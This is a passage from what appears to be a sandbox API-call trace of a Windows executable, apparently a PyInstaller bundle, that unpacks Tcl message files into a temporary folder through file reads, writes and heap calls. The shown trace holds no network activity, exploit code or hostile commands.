(dwErrCode=0x0) [0037.320] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu_es.msg") returned 64 [0037.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu_es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\eu_es.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.321] GetLastError () returned 0x2 [0037.321] SetLastError (dwErrCode=0x2) [0037.321] GetLastError () returned 0x2 [0037.321] SetLastError (dwErrCode=0x2) [0037.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu_es.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu_es.msg", lpFilePart=0x0) returned 0x3f [0037.321] GetLastError () returned 0x2 [0037.321] SetLastError (dwErrCode=0x2) [0037.321] GetLastError () returned 0x2 [0037.321] SetLastError (dwErrCode=0x2) [0037.321] GetLastError () returned 0x2 [0037.321] SetLastError (dwErrCode=0x2) [0037.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu_es.msg") returned 64 [0037.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu_es.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\eu_es.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.321] GetFileType (hFile=0x10c) returned 0x1 [0037.321] htonl (hostlong=0x1f010000) returned 0x11f [0037.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.321] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x11f, lpOverlapped=0x0) returned 1 [0037.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.322] CloseHandle (hObject=0x10c) returned 1 [0037.323] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.323] htonl (hostlong=0x30000000) returned 0x30 [0037.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.323] GetFileType (hFile=0x10c) returned 0x1 [0037.323] htonl (hostlong=0xc6595700) returned 0x5759c6 [0037.323] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c09c6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.323] htonl (hostlong=0x7b010000) returned 0x17b [0037.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x17b) returned 0x550600 [0037.323] htonl (hostlong=0x7b010000) returned 0x17b [0037.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.323] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.323] htonl (hostlong=0x80060000) returned 0x680 [0037.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x680) returned 0x55e278 [0037.323] htonl (hostlong=0x7b010000) returned 0x17b [0037.323] htonl (hostlong=0x80060000) returned 0x680 [0037.323] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.323] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.323] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.324] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.324] CloseHandle (hObject=0x10c) returned 1 [0037.324] GetLastError () returned 0x0 [0037.324] SetLastError (dwErrCode=0x0) [0037.324] GetLastError () returned 0x0 [0037.324] SetLastError (dwErrCode=0x0) [0037.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.324] GetFileType (hFile=0x10c) returned 0x1 [0037.324] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.324] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.324] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.324] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.324] CloseHandle (hObject=0x10c) returned 1 [0037.324] GetLastError () returned 0x0 [0037.324] SetLastError (dwErrCode=0x0) [0037.324] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.325] GetFileType (hFile=0x10c) returned 0x1 [0037.325] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.325] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.325] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.325] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.325] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.325] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.325] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.325] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.325] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.325] CloseHandle (hObject=0x10c) returned 1 [0037.325] GetLastError () returned 0x0 [0037.325] SetLastError (dwErrCode=0x0) [0037.325] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa.msg") returned 61 [0037.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fa.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.325] GetLastError () returned 0x2 [0037.325] SetLastError (dwErrCode=0x2) [0037.325] GetLastError () returned 0x2 [0037.325] SetLastError (dwErrCode=0x2) [0037.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa.msg", lpFilePart=0x0) returned 0x3c [0037.325] GetLastError () returned 0x2 [0037.325] SetLastError (dwErrCode=0x2) [0037.325] GetLastError () returned 0x2 [0037.325] SetLastError (dwErrCode=0x2) [0037.325] GetLastError () returned 0x2 [0037.325] SetLastError (dwErrCode=0x2) [0037.325] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa.msg") returned 61 [0037.326] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fa.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.326] GetFileType (hFile=0x10c) returned 0x1 [0037.326] htonl (hostlong=0x80060000) returned 0x680 [0037.326] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.326] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x680, lpOverlapped=0x0) returned 1 [0037.327] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.327] CloseHandle (hObject=0x10c) returned 1 [0037.328] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.328] htonl (hostlong=0x30000000) returned 0x30 [0037.328] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.328] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.328] GetFileType (hFile=0x10c) returned 0x1 [0037.328] htonl (hostlong=0x415b5700) returned 0x575b41 [0037.328] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0b41, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.328] htonl (hostlong=0xc0010000) returned 0x1c0 [0037.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c0) returned 0x550600 [0037.328] htonl (hostlong=0xc0010000) returned 0x1c0 [0037.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.329] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.329] htonl (hostlong=0xa5070000) returned 0x7a5 [0037.329] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7a5) returned 0x55e278 [0037.329] htonl (hostlong=0xc0010000) returned 0x1c0 [0037.329] htonl (hostlong=0xa5070000) returned 0x7a5 [0037.329] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.329] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.329] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.329] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.329] CloseHandle (hObject=0x10c) returned 1 [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] GetLastError () returned 0x0 [0037.329] SetLastError (dwErrCode=0x0) [0037.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.329] GetFileType (hFile=0x10c) returned 0x1 [0037.330] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.330] CloseHandle (hObject=0x10c) returned 1 [0037.330] GetLastError () returned 0x0 [0037.330] SetLastError (dwErrCode=0x0) [0037.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.330] GetFileType (hFile=0x10c) returned 0x1 [0037.330] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.330] CloseHandle (hObject=0x10c) returned 1 [0037.331] GetLastError () returned 0x0 [0037.331] SetLastError (dwErrCode=0x0) [0037.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_in.msg") returned 64 [0037.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fa_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.331] GetLastError () returned 0x2 [0037.331] SetLastError (dwErrCode=0x2) [0037.331] GetLastError () returned 0x2 [0037.331] SetLastError (dwErrCode=0x2) [0037.331] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_in.msg", lpFilePart=0x0) returned 0x3f [0037.331] GetLastError () returned 0x2 [0037.331] SetLastError (dwErrCode=0x2) [0037.331] GetLastError () returned 0x2 [0037.331] SetLastError (dwErrCode=0x2) [0037.331] GetLastError () returned 0x2 [0037.331] SetLastError (dwErrCode=0x2) [0037.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_in.msg") returned 64 [0037.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fa_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.331] GetFileType (hFile=0x10c) returned 0x1 [0037.331] htonl (hostlong=0xa5070000) returned 0x7a5 [0037.331] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.331] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x7a5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x7a5, lpOverlapped=0x0) returned 1 [0037.332] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.333] CloseHandle (hObject=0x10c) returned 1 [0037.333] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.333] htonl (hostlong=0x30000000) returned 0x30 [0037.333] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.333] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.333] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.333] GetFileType (hFile=0x10c) returned 0x1 [0037.333] htonl (hostlong=0x15d5700) returned 0x575d01 [0037.333] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0d01, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.333] htonl (hostlong=0xc6000000) returned 0xc6 [0037.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc6) returned 0x550600 [0037.333] htonl (hostlong=0xc6000000) returned 0xc6 [0037.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.334] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.334] htonl (hostlong=0xa1010000) returned 0x1a1 [0037.334] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a1) returned 0x5506d0 [0037.334] htonl (hostlong=0xc6000000) returned 0xc6 [0037.334] htonl (hostlong=0xa1010000) returned 0x1a1 [0037.334] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.334] CloseHandle (hObject=0x10c) returned 1 [0037.334] GetLastError () returned 0x0 [0037.334] SetLastError (dwErrCode=0x0) [0037.334] GetLastError () returned 0x0 [0037.334] SetLastError (dwErrCode=0x0) [0037.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: 